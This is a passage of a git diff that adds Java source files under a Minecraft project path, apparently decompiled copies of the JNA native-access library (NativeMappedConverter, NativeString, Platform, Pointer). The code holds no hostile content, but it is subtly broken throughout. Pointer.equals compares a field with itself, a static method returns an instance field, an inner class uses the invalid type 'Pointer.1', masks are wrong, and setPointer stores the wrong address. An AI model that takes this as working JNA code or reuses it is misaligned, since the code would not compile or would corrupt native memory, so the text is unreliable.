+      NativeMappedConverter nmc = r != null ? (NativeMappedConverter)r.get() : null;
+      if (nmc == null) {
+        nmc = new NativeMappedConverter(cls);
+        converters.put(cls, new SoftReference(nmc));
+      }
+      return nmc;
+    }
+  }
+  
+  public NativeMappedConverter(Class type) {
+    if (!NativeMapped.class.isAssignableFrom(type)) {
+      throw new IllegalArgumentException("Type must derive from " + NativeMapped.class);
+    }
+    this.type = type;
+    instance = defaultValue();
+    nativeType = instance.nativeType();
+  }
+  
+  public NativeMapped defaultValue() {
+    try {
+      return (NativeMapped)type.newInstance();
+    }
+    catch (InstantiationException e) {
+      String msg = "Can't create an instance of " + type + ", requires a no-arg constructor: " + e;
+      
+      throw new IllegalArgumentException(msg);
+    }
+    catch (IllegalAccessException e) {
+      String msg = "Not allowed to create an instance of " + type + ", requires a public, no-arg constructor: " + e;
+      
+      throw new IllegalArgumentException(msg);
+    }
+  }
+  
+  public Object fromNative(Object nativeValue, FromNativeContext context) { return instance.fromNative(nativeValue, context); }
+  
+  public Class nativeType()
+  {
+    return nativeType;
+  }
+  
+  public Object toNative(Object value, ToNativeContext context) {
+    if (value == null) {
+      if (Pointer.class.isAssignableFrom(nativeType)) {
+        return null;
+      }
+      value = defaultValue();
+    }
+    return ((NativeMapped)value).toNative();
+  }
+}
diff --git a/src/minecraft/com/sun/jna/NativeString.java b/src/minecraft/com/sun/jna/NativeString.java
new file mode 100644
index 0000000..a690a1d
--- /dev/null
+++ b/src/minecraft/com/sun/jna/NativeString.java
@@ -0,0 +1,109 @@
+package com.sun.jna;
+
+import java.nio.CharBuffer;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class NativeString
+  implements CharSequence, Comparable
+{
+  private Pointer pointer;
+  private boolean wide;
+  
+  public NativeString(String string)
+  {
+    this(string, false);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public NativeString(String string, boolean wide)
+  {
+    if (string == null) {
+      throw new NullPointerException("String must not be null");
+    }
+    
+
+
+    this.wide = wide;
+    if (wide) {
+      int len = (string.length() + 1) * Native.WCHAR_SIZE;
+      pointer = new Memory(len);
+      pointer.setString(0L, string, true);
+    }
+    else {
+      byte[] data = Native.getBytes(string);
+      pointer = new Memory(data.length + 1);
+      pointer.write(0L, data, 0, data.length);
+      pointer.setByte(data.length, (byte)0);
+    }
+  }
+  
+  public int hashCode() {
+    return toString().hashCode();
+  }
+  
+  public boolean equals(Object other)
+  {
+    if ((other instanceof CharSequence)) {
+      return compareTo(other) == 0;
+    }
+    return false;
+  }
+  
+  public String toString() {
+    String s = wide ? "const wchar_t*" : "const char*";
+    s = s + "(" + pointer.getString(0L, wide) + ")";
+    return s;
+  }
+  
+  public Pointer getPointer() {
+    return pointer;
+  }
+  
+  public char charAt(int index) {
+    return toString().charAt(index);
+  }
+  
+  public int length() {
+    return toString().length();
+  }
+  
+  public CharSequence subSequence(int start, int end) {
+    return CharBuffer.wrap(toString()).subSequence(start, end);
+  }
+  
+  public int compareTo(Object other)
+  {
+    if (other == null) {
+      return 1;
+    }
+    return toString().compareTo(other.toString());
+  }
+}
diff --git a/src/minecraft/com/sun/jna/Platform.java b/src/minecraft/com/sun/jna/Platform.java
new file mode 100644
index 0000000..03d8443
--- /dev/null
+++ b/src/minecraft/com/sun/jna/Platform.java
@@ -0,0 +1,170 @@
+package com.sun.jna;
+
+
+
+public final class Platform
+{
+  public static final int UNSPECIFIED = -1;
+  
+
+  public static final int MAC = 0;
+  
+
+  public static final int LINUX = 1;
+  
+
+  public static final int WINDOWS = 2;
+  
+
+  public static final int SOLARIS = 3;
+  
+
+  public static final int FREEBSD = 4;
+  
+  public static final int OPENBSD = 5;
+  
+  public static final int WINDOWSCE = 6;
+  
+  public static final boolean RO_FIELDS;
+  
+  public static final boolean HAS_BUFFERS;
+  
+  public static final boolean HAS_AWT;
+  
+
+  static
+  {
+    String osName = System.getProperty("os.name");
+    if (osName.startsWith("Linux")) {
+      osType = 1;
+    }
+    else if ((osName.startsWith("Mac")) || (osName.startsWith("Darwin"))) {
+      osType = 0;
+    }
+    else if (osName.startsWith("Windows CE")) {
+      osType = 6;
+    }
+    else if (osName.startsWith("Windows")) {
+      osType = 2;
+    }
+    else if ((osName.startsWith("Solaris")) || (osName.startsWith("SunOS"))) {
+      osType = 3;
+    }
+    else if (osName.startsWith("FreeBSD")) {
+      osType = 4;
+    }
+    else if (osName.startsWith("OpenBSD")) {
+      osType = 5;
+    }
+    else {
+      osType = -1;
+    }
+    boolean hasAWT = false;
+    try {
+      Class.forName("java.awt.Component");
+      hasAWT = true;
+    }
+    catch (ClassNotFoundException e) {}
+    
+    HAS_AWT = hasAWT;
+    boolean hasBuffers = false;
+    try {
+      Class.forName("java.nio.Buffer");
+      hasBuffers = true;
+    }
+    catch (ClassNotFoundException e) {}
+    
+    HAS_BUFFERS = hasBuffers;
+    RO_FIELDS = osType != 6;
+    C_LIBRARY_NAME = osType == 6 ? "coredll" : osType == 2 ? "msvcrt" : "c"; }
+  public static final String MATH_LIBRARY_NAME = osType == 6 ? "coredll" : osType == 2 ? "msvcrt" : "m";
+  public static final String C_LIBRARY_NAME;
+  private static final int osType;
+  
+  public static final int getOSType() { return osType; }
+  
+  public static final boolean isMac() {
+    return osType == 0;
+  }
+  
+  public static final boolean isLinux() { return osType == 1; }
+  
+  public static final boolean isWindowsCE() {
+    return osType == 6;
+  }
+  
+  public static final boolean isWindows() {
+    return (osType == 2) || (osType == 6);
+  }
+  
+  public static final boolean isSolaris() { return osType == 3; }
+  
+  public static final boolean isFreeBSD() {
+    return osType == 4;
+  }
+  
+  public static final boolean isOpenBSD() { return osType == 5; }
+  
+
+
+  public static final boolean isX11() { return (!isWindows()) && (!isMac()); }
+  
+  public static final boolean hasRuntimeExec() {
+    if ((isWindowsCE()) && ("J9".equals(System.getProperty("java.vm.name"))))
+      return false;
+    return true;
+  }
+  
+  public static final boolean is64Bit() { String model = System.getProperty("sun.arch.data.model", System.getProperty("com.ibm.vm.bitmode"));
+    
+    if (model != null) {
+      return "64".equals(model);
+    }
+    String arch = System.getProperty("os.arch").toLowerCase();
+    if (("x86_64".equals(arch)) || ("ia64".equals(arch)) || ("ppc64".equals(arch)) || ("sparcv9".equals(arch)) || ("amd64".equals(arch)))
+    {
+
+
+
+      return true;
+    }
+    return Native.POINTER_SIZE == 8;
+  }
+  
+  public static final boolean isIntel() {
+    String arch = System.getProperty("os.arch").toLowerCase().trim();
+    
+    if ((arch.equals("i386")) || (arch.equals("x86")) || (arch.equals("x86_64")) || (arch.equals("amd64")))
+    {
+
+
+      return true;
+    }
+    return false;
+  }
+  
+  public static final boolean isPPC()
+  {
+    String arch = System.getProperty("os.arch").toLowerCase().trim();
+    
+    if ((arch.equals("ppc")) || (arch.equals("ppc64")) || (arch.equals("powerpc")) || (arch.equals("powerpc64")))
+    {
+
+
+      return true;
+    }
+    return false;
+  }
+  
+  public static final boolean isARM()
+  {
+    String arch = System.getProperty("os.arch").toLowerCase().trim();
+    
+    if (arch.equals("arm")) {
+      return true;
+    }
+    return false;
+  }
+  
+  private Platform() {}
+}
diff --git a/src/minecraft/com/sun/jna/Pointer.java b/src/minecraft/com/sun/jna/Pointer.java
new file mode 100644
index 0000000..15bd16a
--- /dev/null
+++ b/src/minecraft/com/sun/jna/Pointer.java
@@ -0,0 +1,1275 @@
+package com.sun.jna;
+
+import java.io.UnsupportedEncodingException;
+import java.lang.reflect.Array;
+import java.nio.Buffer;
+import java.nio.ByteBuffer;
+import java.nio.ByteOrder;
+import java.util.ArrayList;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Pointer
+{
+  public static final int SIZE;
+  
+  static
+  {
+    if ((Pointer.SIZE = Native.POINTER_SIZE) == 0) {
+      throw new Error("Native library not initialized");
+    }
+  }
+  
+
+  public static final Pointer NULL = null;
+  protected long peer;
+  
+  public static final Pointer createConstant(long peer) {
+    return new Opaque(peer, null);
+  }
+  
+
+
+
+  public static final Pointer createConstant(int peer)
+  {
+    return new Opaque(peer & 0xFFFFFFFFFFFFFFFF, null);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public Pointer(long peer)
+  {
+    this.peer = peer;
+  }
+  
+  public Pointer share(long offset) {
+    return share(offset, 0L);
+  }
+  
+  public Pointer share(long offset, long sz)
+  {
+    if (offset == 0L) return this;
+    return new Pointer(peer + offset);
+  }
+  
+  public void clear(long size)
+  {
+    setMemory(0L, size, (byte)0);
+  }
+  
+
+
+
+
+
+
+
+
+  public boolean equals(Object o)
+  {
+    if (o == this) return true;
+    if (o == null) return false;
+    return ((o instanceof Pointer)) && (peer == peer);
+  }
+  
+
+
+
+
+
+  public int hashCode()
+  {
+    return (int)((peer >>> 32) + (peer & 0xFFFFFFFFFFFFFFFF));
+  }
+  
+
+
+
+
+
+
+
+  public long indexOf(long offset, byte value)
+  {
+    return Native.indexOf(peer + offset, value);
+  }
+  
+
+
+
+
+
+
+
+
+  public void read(long offset, byte[] buf, int index, int length)
+  {
+    Native.read(peer + offset, buf, index, length);
+  }
+  
+
+
+
+
+
+
+
+
+  public void read(long offset, short[] buf, int index, int length)
+  {
+    Native.read(peer + offset, buf, index, length);
+  }
+  
+
+
+
+
+
+
+
+
+  public void read(long offset, char[] buf, int index, int length)
+  {
+    Native.read(peer + offset, buf, index, length);
+  }
+  
+
+
+
+
+
+
+
+
+  public void read(long offset, int[] buf, int index, int length)
+  {
+    Native.read(peer + offset, buf, index, length);
+  }
+  
+
+
+
+
+
+
+
+
+  public void read(long offset, long[] buf, int index, int length)
+  {
+    Native.read(peer + offset, buf, index, length);
+  }
+  
+
+
+
+
+
+
+
+
+  public void read(long offset, float[] buf, int index, int length)
+  {
+    Native.read(peer + offset, buf, index, length);
+  }
+  
+
+
+
+
+
+
+
+
+  public void read(long offset, double[] buf, int index, int length)
+  {
+    Native.read(peer + offset, buf, index, length);
+  }
+  
+
+
+
+
+
+
+
+
+  public void read(long offset, Pointer[] buf, int index, int length)
+  {
+    for (int i = 0; i < length; i++) {
+      Pointer p = getPointer(offset + i * SIZE);
+      Pointer oldp = buf[(i + index)];
+      
+      if ((oldp == null) || (p == null) || (peer != peer)) {
+        buf[(i + index)] = p;
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void write(long offset, byte[] buf, int index, int length)
+  {
+    Native.write(peer + offset, buf, index, length);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public void write(long offset, short[] buf, int index, int length)
+  {
+    Native.write(peer + offset, buf, index, length);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public void write(long offset, char[] buf, int index, int length)
+  {
+    Native.write(peer + offset, buf, index, length);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public void write(long offset, int[] buf, int index, int length)
+  {
+    Native.write(peer + offset, buf, index, length);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public void write(long offset, long[] buf, int index, int length)
+  {
+    Native.write(peer + offset, buf, index, length);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public void write(long offset, float[] buf, int index, int length)
+  {
+    Native.write(peer + offset, buf, index, length);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public void write(long offset, double[] buf, int index, int length)
+  {
+    Native.write(peer + offset, buf, index, length);
+  }
+  
+
+
+
+
+
+
+  public void write(long bOff, Pointer[] buf, int index, int length)
+  {
+    for (int i = 0; i < length; i++) {
+      setPointer(bOff + i * SIZE, buf[(index + i)]);
+    }
+  }
+  
+
+
+
+
+  Object getValue(long offset, Class type, Object currentValue)
+  {
+    Object result = null;
+    if (Structure.class.isAssignableFrom(type)) {
+      Structure s = (Structure)currentValue;
+      if (Structure.ByReference.class.isAssignableFrom(type)) {
+        s = Structure.updateStructureByReference(type, s, getPointer(offset));
+      }
+      else {
+        s.useMemory(this, (int)offset);
+        s.read();
+      }
+      result = s;
+    }
+    else if ((type == Boolean.TYPE) || (type == Boolean.class)) {
+      result = Function.valueOf(getInt(offset) != 0);
+    }
+    else if ((type == Byte.TYPE) || (type == Byte.class)) {
+      result = new Byte(getByte(offset));
+    }
+    else if ((type == Short.TYPE) || (type == Short.class)) {
+      result = new Short(getShort(offset));
+    }
+    else if ((type == Character.TYPE) || (type == Character.class)) {
+      result = new Character(getChar(offset));
+    }
+    else if ((type == Integer.TYPE) || (type == Integer.class)) {
+      result = new Integer(getInt(offset));
+    }
+    else if ((type == Long.TYPE) || (type == Long.class)) {
+      result = new Long(getLong(offset));
+    }
+    else if ((type == Float.TYPE) || (type == Float.class)) {
+      result = new Float(getFloat(offset));
+    }
+    else if ((type == Double.TYPE) || (type == Double.class)) {
+      result = new Double(getDouble(offset));
+    }
+    else if (Pointer.class.isAssignableFrom(type)) {
+      Pointer p = getPointer(offset);
+      if (p != null) {
+        Pointer oldp = (currentValue instanceof Pointer) ? (Pointer)currentValue : null;
+        
+        if ((oldp == null) || (peer != peer)) {
+          result = p;
+        } else {
+          result = oldp;
+        }
+      }
+    } else if (type == String.class) {
+      Pointer p = getPointer(offset);
+      result = p != null ? p.getString(0L) : null;
+    }
+    else if (type == WString.class) {
+      Pointer p = getPointer(offset);
+      result = p != null ? new WString(p.getString(0L, true)) : null;
+    }
+    else if (Callback.class.isAssignableFrom(type))
+    {
+
+      Pointer fp = getPointer(offset);
+      if (fp == null) {
+        result = null;
+      }
+      else {
+        Callback cb = (Callback)currentValue;
+        Pointer oldfp = CallbackReference.getFunctionPointer(cb);
+        if (!fp.equals(oldfp)) {
+          cb = CallbackReference.getCallback(type, fp);
+        }
+        result = cb;
+      }
+    }
+    else if ((Platform.HAS_BUFFERS) && (Buffer.class.isAssignableFrom(type))) {
+      Pointer bp = getPointer(offset);
+      if (bp == null) {
+        result = null;
+      }
+      else {
+        Pointer oldbp = currentValue == null ? null : Native.getDirectBufferPointer((Buffer)currentValue);
+        
+        if ((oldbp == null) || (!oldbp.equals(bp))) {
+          throw new IllegalStateException("Can't autogenerate a direct buffer on memory read");
+        }
+        result = currentValue;
+      }
+    }
+    else if (NativeMapped.class.isAssignableFrom(type)) {
+      NativeMapped nm = (NativeMapped)currentValue;
+      if (nm != null) {
+        Object value = getValue(offset, nm.nativeType(), null);
+        result = nm.fromNative(value, new FromNativeContext(type));
+      }
+      else {
+        NativeMappedConverter tc = NativeMappedConverter.getInstance(type);
+        Object value = getValue(offset, tc.nativeType(), null);
+        result = tc.fromNative(value, new FromNativeContext(type));
+      }
+    }
+    else if (type.isArray()) {
+      result = currentValue;
+      if (result == null) {
+        throw new IllegalStateException("Need an initialized array");
+      }
+      getArrayValue(offset, result, type.getComponentType());
+    }
+    else {
+      throw new IllegalArgumentException("Reading \"" + type + "\" from memory is not supported");
+    }
+    
+    return result;
+  }
+  
+  private void getArrayValue(long offset, Object o, Class cls)
+  {
+    int length = 0;
+    length = Array.getLength(o);
+    Object result = o;
+    
+    if (cls == Byte.TYPE) {
+      read(offset, (byte[])result, 0, length);
+    }
+    else if (cls == Short.TYPE) {
+      read(offset, (short[])result, 0, length);
+    }
+    else if (cls == Character.TYPE) {
+      read(offset, (char[])result, 0, length);
+    }
+    else if (cls == Integer.TYPE) {
+      read(offset, (int[])result, 0, length);
+    }
+    else if (cls == Long.TYPE) {
+      read(offset, (long[])result, 0, length);
+    }
+    else if (cls == Float.TYPE) {
+      read(offset, (float[])result, 0, length);
+    }
+    else if (cls == Double.TYPE) {
+      read(offset, (double[])result, 0, length);
+    }
+    else if (Pointer.class.isAssignableFrom(cls)) {
+      read(offset, (Pointer[])result, 0, length);
+    }
+    else if (Structure.class.isAssignableFrom(cls)) {
+      Structure[] sarray = (Structure[])result;
+      if (Structure.ByReference.class.isAssignableFrom(cls)) {
+        Pointer[] parray = getPointerArray(offset, sarray.length);
+        for (int i = 0; i < sarray.length; i++) {
+          sarray[i] = Structure.updateStructureByReference(cls, sarray[i], parray[i]);
+        }
+      }
+      else {
+        for (int i = 0; i < sarray.length; i++) {
+          if (sarray[i] == null) {
+            sarray[i] = Structure.newInstance(cls);
+          }
+          sarray[i].useMemory(this, (int)(offset + i * sarray[i].size()));
+          sarray[i].read();
+        }
+      }
+    }
+    else if (NativeMapped.class.isAssignableFrom(cls)) {
+      NativeMapped[] array = (NativeMapped[])result;
+      NativeMappedConverter tc = NativeMappedConverter.getInstance(cls);
+      int size = Native.getNativeSize(result.getClass(), result) / array.length;
+      for (int i = 0; i < array.length; i++) {
+        Object value = getValue(offset + size * i, tc.nativeType(), array[i]);
+        array[i] = ((NativeMapped)tc.fromNative(value, new FromNativeContext(cls)));
+      }
+    }
+    else {
+      throw new IllegalArgumentException("Reading array of " + cls + " from memory not supported");
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public byte getByte(long offset)
+  {
+    return Native.getByte(peer + offset);
+  }
+  
+
+
+
+
+
+
+
+  public char getChar(long offset)
+  {
+    return Native.getChar(peer + offset);
+  }
+  
+
+
+
+
+
+
+
+  public short getShort(long offset)
+  {
+    return Native.getShort(peer + offset);
+  }
+  
+
+
+
+
+
+
+
+  public int getInt(long offset)
+  {
+    return Native.getInt(peer + offset);
+  }
+  
+
+
+
+
+
+
+
+  public long getLong(long offset)
+  {
+    return Native.getLong(peer + offset);
+  }
+  
+
+
+
+
+
+
+
+  public NativeLong getNativeLong(long offset)
+  {
+    return new NativeLong(NativeLong.SIZE == 8 ? getLong(offset) : getInt(offset));
+  }
+  
+
+
+
+
+
+
+
+  public float getFloat(long offset)
+  {
+    return Native.getFloat(peer + offset);
+  }
+  
+
+
+
+
+
+
+
+  public double getDouble(long offset)
+  {
+    return Native.getDouble(peer + offset);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public Pointer getPointer(long offset)
+  {
+    return Native.getPointer(peer + offset);
+  }
+  
+
+
+
+
+
+
+
+  public ByteBuffer getByteBuffer(long offset, long length)
+  {
+    return Native.getDirectByteBuffer(peer + offset, length).order(ByteOrder.nativeOrder());
+  }
+  
+
+
+
+
+
+
+
+
+  public String getString(long offset, boolean wide)
+  {
+    return Native.getString(peer + offset, wide);
+  }
+  
+
+
+
+
+
+
+
+
+  public String getString(long offset)
+  {
+    String encoding = System.getProperty("jna.encoding");
+    if (encoding != null) {
+      long len = indexOf(offset, (byte)0);
+      if (len != -1L) {
+        if (len > 2147483647L) {
+          throw new OutOfMemoryError("String exceeds maximum length: " + len);
+        }
+        byte[] data = getByteArray(offset, (int)len);
+        try {
+          return new String(data, encoding);
+        }
+        catch (UnsupportedEncodingException e) {}
+      }
+    }
+    
+    return getString(offset, false);
+  }
+  
+
+
+  public byte[] getByteArray(long offset, int arraySize)
+  {
+    byte[] buf = new byte[arraySize];
+    read(offset, buf, 0, arraySize);
+    return buf;
+  }
+  
+
+
+  public char[] getCharArray(long offset, int arraySize)
+  {
+    char[] buf = new char[arraySize];
+    read(offset, buf, 0, arraySize);
+    return buf;
+  }
+  
+
+
+  public short[] getShortArray(long offset, int arraySize)
+  {
+    short[] buf = new short[arraySize];
+    read(offset, buf, 0, arraySize);
+    return buf;
+  }
+  
+
+
+  public int[] getIntArray(long offset, int arraySize)
+  {
+    int[] buf = new int[arraySize];
+    read(offset, buf, 0, arraySize);
+    return buf;
+  }
+  
+
+
+  public long[] getLongArray(long offset, int arraySize)
+  {
+    long[] buf = new long[arraySize];
+    read(offset, buf, 0, arraySize);
+    return buf;
+  }
+  
+
+
+  public float[] getFloatArray(long offset, int arraySize)
+  {
+    float[] buf = new float[arraySize];
+    read(offset, buf, 0, arraySize);
+    return buf;
+  }
+  
+
+
+  public double[] getDoubleArray(long offset, int arraySize)
+  {
+    double[] buf = new double[arraySize];
+    read(offset, buf, 0, arraySize);
+    return buf;
+  }
+  
+
+
+  public Pointer[] getPointerArray(long offset)
+  {
+    List array = new ArrayList();
+    int addOffset = 0;
+    Pointer p = getPointer(offset);
+    while (p != null) {
+      array.add(p);
+      addOffset += SIZE;
+      p = getPointer(offset + addOffset);
+    }
+    return (Pointer[])array.toArray(new Pointer[array.size()]);
+  }
+  
+  public Pointer[] getPointerArray(long offset, int arraySize)
+  {
+    Pointer[] buf = new Pointer[arraySize];
+    read(offset, buf, 0, arraySize);
+    return buf;
+  }
+  
+
+
+
+  public String[] getStringArray(long offset)
+  {
+    return getStringArray(offset, -1, false);
+  }
+  
+
+
+  public String[] getStringArray(long offset, int length)
+  {
+    return getStringArray(offset, length, false);
+  }
+  
+
+
+
+
+  public String[] getStringArray(long offset, boolean wide)
+  {
+    return getStringArray(offset, -1, wide);
+  }
+  
+
+
+
+
+  public String[] getStringArray(long offset, int length, boolean wide)
+  {
+    List strings = new ArrayList();
+    
+    int addOffset = 0;
+    if (length != -1) {
+      Pointer p = getPointer(offset + addOffset);
+      int count = 0;
+      while (count++ < length) {
+        String s = p == null ? null : p.getString(0L, wide);
+        strings.add(s);
+        if (count < length) {
+          addOffset += SIZE;
+          p = getPointer(offset + addOffset);
+        }
+      }
+    } else {
+      Pointer p;
+      while ((p = getPointer(offset + addOffset)) != null) {
+        String s = p == null ? null : p.getString(0L, wide);
+        strings.add(s);
+        addOffset += SIZE;
+      }
+    }
+    return (String[])strings.toArray(new String[strings.size()]);
+  }
+  
+
+
+
+
+
+  void setValue(long offset, Object value, Class type)
+  {
+    if ((type == Boolean.TYPE) || (type == Boolean.class)) {
+      setInt(offset, Boolean.TRUE.equals(value) ? -1 : 0);
+    }
+    else if ((type == Byte.TYPE) || (type == Byte.class)) {
+      setByte(offset, value == null ? 0 : ((Byte)value).byteValue());
+    }
+    else if ((type == Short.TYPE) || (type == Short.class)) {
+      setShort(offset, value == null ? 0 : ((Short)value).shortValue());
+    }
+    else if ((type == Character.TYPE) || (type == Character.class)) {
+      setChar(offset, value == null ? '\000' : ((Character)value).charValue());
+    }
+    else if ((type == Integer.TYPE) || (type == Integer.class)) {
+      setInt(offset, value == null ? 0 : ((Integer)value).intValue());
+    }
+    else if ((type == Long.TYPE) || (type == Long.class)) {
+      setLong(offset, value == null ? 0L : ((Long)value).longValue());
+    }
+    else if ((type == Float.TYPE) || (type == Float.class)) {
+      setFloat(offset, value == null ? 0.0F : ((Float)value).floatValue());
+    }
+    else if ((type == Double.TYPE) || (type == Double.class)) {
+      setDouble(offset, value == null ? 0.0D : ((Double)value).doubleValue());
+    }
+    else if (type == Pointer.class) {
+      setPointer(offset, (Pointer)value);
+    }
+    else if (type == String.class) {
+      setPointer(offset, (Pointer)value);
+    }
+    else if (type == WString.class) {
+      setPointer(offset, (Pointer)value);
+    }
+    else if (Structure.class.isAssignableFrom(type)) {
+      Structure s = (Structure)value;
+      if (Structure.ByReference.class.isAssignableFrom(type)) {
+        setPointer(offset, s == null ? null : s.getPointer());
+        if (s != null) {
+          s.autoWrite();
+        }
+      }
+      else {
+        s.useMemory(this, (int)offset);
+        s.write();
+      }
+    }
+    else if (Callback.class.isAssignableFrom(type)) {
+      setPointer(offset, CallbackReference.getFunctionPointer((Callback)value));
+    }
+    else if ((Platform.HAS_BUFFERS) && (Buffer.class.isAssignableFrom(type))) {
+      Pointer p = value == null ? null : Native.getDirectBufferPointer((Buffer)value);
+      
+      setPointer(offset, p);
+    }
+    else if (NativeMapped.class.isAssignableFrom(type)) {
+      NativeMappedConverter tc = NativeMappedConverter.getInstance(type);
+      Class nativeType = tc.nativeType();
+      setValue(offset, tc.toNative(value, new ToNativeContext()), nativeType);
+    }
+    else if (type.isArray()) {
+      setArrayValue(offset, value, type.getComponentType());
+    }
+    else {
+      throw new IllegalArgumentException("Writing " + type + " to memory is not supported");
+    }
+  }
+  
+  private void setArrayValue(long offset, Object value, Class cls) {
+    if (cls == Byte.TYPE) {
+      byte[] buf = (byte[])value;
+      write(offset, buf, 0, buf.length);
+    }
+    else if (cls == Short.TYPE) {
+      short[] buf = (short[])value;
+      write(offset, buf, 0, buf.length);
+    }
+    else if (cls == Character.TYPE) {
+      char[] buf = (char[])value;
+      write(offset, buf, 0, buf.length);
+    }
+    else if (cls == Integer.TYPE) {
+      int[] buf = (int[])value;
+      write(offset, buf, 0, buf.length);
+    }
+    else if (cls == Long.TYPE) {
+      long[] buf = (long[])value;
+      write(offset, buf, 0, buf.length);
+    }
+    else if (cls == Float.TYPE) {
+      float[] buf = (float[])value;
+      write(offset, buf, 0, buf.length);
+    }
+    else if (cls == Double.TYPE) {
+      double[] buf = (double[])value;
+      write(offset, buf, 0, buf.length);
+    }
+    else if (Pointer.class.isAssignableFrom(cls)) {
+      Pointer[] buf = (Pointer[])value;
+      write(offset, buf, 0, buf.length);
+    }
+    else if (Structure.class.isAssignableFrom(cls)) {
+      Structure[] sbuf = (Structure[])value;
+      if (Structure.ByReference.class.isAssignableFrom(cls)) {
+        Pointer[] buf = new Pointer[sbuf.length];
+        for (int i = 0; i < sbuf.length; i++) {
+          if (sbuf[i] == null) {
+            buf[i] = null;
+          }
+          else {
+            buf[i] = sbuf[i].getPointer();
+            sbuf[i].write();
+          }
+        }
+        write(offset, buf, 0, buf.length);
+      }
+      else {
+        for (int i = 0; i < sbuf.length; i++) {
+          if (sbuf[i] == null) {
+            sbuf[i] = Structure.newInstance(cls);
+          }
+          sbuf[i].useMemory(this, (int)(offset + i * sbuf[i].size()));
+          sbuf[i].write();
+        }
+      }
+    }
+    else if (NativeMapped.class.isAssignableFrom(cls)) {
+      NativeMapped[] buf = (NativeMapped[])value;
+      NativeMappedConverter tc = NativeMappedConverter.getInstance(cls);
+      Class nativeType = tc.nativeType();
+      int size = Native.getNativeSize(value.getClass(), value) / buf.length;
+      for (int i = 0; i < buf.length; i++) {
+        Object element = tc.toNative(buf[i], new ToNativeContext());
+        setValue(offset + i * size, element, nativeType);
+      }
+    }
+    else {
+      throw new IllegalArgumentException("Writing array of " + cls + " to memory not supported");
+    }
+  }
+  
+
+
+
+
+
+  public void setMemory(long offset, long length, byte value)
+  {
+    Native.setMemory(peer + offset, length, value);
+  }
+  
+
+
+
+
+
+
+
+
+  public void setByte(long offset, byte value)
+  {
+    Native.setByte(peer + offset, value);
+  }
+  
+
+
+
+
+
+
+
+
+  public void setShort(long offset, short value)
+  {
+    Native.setShort(peer + offset, value);
+  }
+  
+
+
+
+
+
+
+
+
+  public void setChar(long offset, char value)
+  {
+    Native.setChar(peer + offset, value);
+  }
+  
+
+
+
+
+
+
+
+
+  public void setInt(long offset, int value)
+  {
+    Native.setInt(peer + offset, value);
+  }
+  
+
+
+
+
+
+
+
+
+  public void setLong(long offset, long value)
+  {
+    Native.setLong(peer + offset, value);
+  }
+  
+
+
+
+
+
+
+
+
+  public void setNativeLong(long offset, NativeLong value)
+  {
+    if (NativeLong.SIZE == 8) {
+      setLong(offset, value.longValue());
+    } else {
+      setInt(offset, value.intValue());
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public void setFloat(long offset, float value)
+  {
+    Native.setFloat(peer + offset, value);
+  }
+  
+
+
+
+
+
+
+
+
+  public void setDouble(long offset, double value)
+  {
+    Native.setDouble(peer + offset, value);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public void setPointer(long offset, Pointer value)
+  {
+    Native.setPointer(peer + offset, value != null ? peer : 0L);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public void setString(long offset, String value, boolean wide)
+  {
+    Native.setString(peer + offset, value, wide);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public void setString(long offset, String value)
+  {
+    byte[] data = Native.getBytes(value);
+    write(offset, data, 0, data.length);
+    setByte(offset + data.length, (byte)0);
+  }
+  
+  public String toString() {
+    return "native@0x" + Long.toHexString(peer);
+  }
+  
+  public static long nativeValue(Pointer p)
+  {
+    return peer;
+  }
+  
+
+
+  public static void nativeValue(Pointer p, long value) { peer = value; }
+  
+  Pointer() {}
+  
+  private static class Opaque extends Pointer { Opaque(long x0, Pointer.1 x1) { this(x0); }
+    private Opaque(long peer) { super(); }
+    private final String MSG = "This pointer is opaque: " + this;
+    
+    public long indexOf(long offset, byte value) { throw new UnsupportedOperationException(MSG); }
+    
+    public void read(long bOff, byte[] buf, int index, int length) {
+      throw new UnsupportedOperationException(MSG);
+    }
+    
+    public void read(long bOff, char[] buf, int index, int length) { throw new UnsupportedOperationException(MSG); }
+    
+    public void read(long bOff, short[] buf, int index, int length) {
+      throw new UnsupportedOperationException(MSG);
+    }
+    
+    public void read(long bOff, int[] buf, int index, int length) { throw new UnsupportedOperationException(MSG); }
+    
+    public void read(long bOff, long[] buf, int index, int length) {
+      throw new UnsupportedOperationException(MSG);
+    }
+    
+    public void read(long bOff, float[] buf, int index, int length) { throw new UnsupportedOperationException(MSG); }
+    
+    public void read(long bOff, double[] buf, int index, int length) {
+      throw new UnsupportedOperationException(MSG);
+    }
+    
+    public void write(long bOff, byte[] buf, int index, int length) { throw new UnsupportedOperationException(MSG); }
+    
+    public void write(long bOff, char[] buf, int index, int length) {
+      throw new UnsupportedOperationException(MSG);
+    }
+    
+    public void write(long bOff, short[] buf, int index, int length) { throw new UnsupportedOperationException(MSG); }
+    
+    public void write(long bOff, int[] buf, int index, int length) {
+      throw new UnsupportedOperationException(MSG);
+    }
+    
+    public void write(long bOff, long[] buf, int index, int length) { throw new UnsupportedOperationException(MSG); }
+    
+    public void write(long bOff, float[] buf, int index, int length) {
+      throw new UnsupportedOperationException(MSG);
+    }
+    
+    public void write(long bOff, double[] buf, int index, int length) { throw new UnsupportedOperationException(MSG); }
+    
+    public byte getByte(long bOff) {
+      throw new UnsupportedOperationException(MSG);
+    }
+    
+    public char getChar(long bOff) { throw new UnsupportedOperationException(MSG); }
+    
+    public short getShort(long bOff) {
+      throw new UnsupportedOperationException(MSG);
+    }
+    
+    public int getInt(long bOff) { throw new UnsupportedOperationException(MSG); }
+    
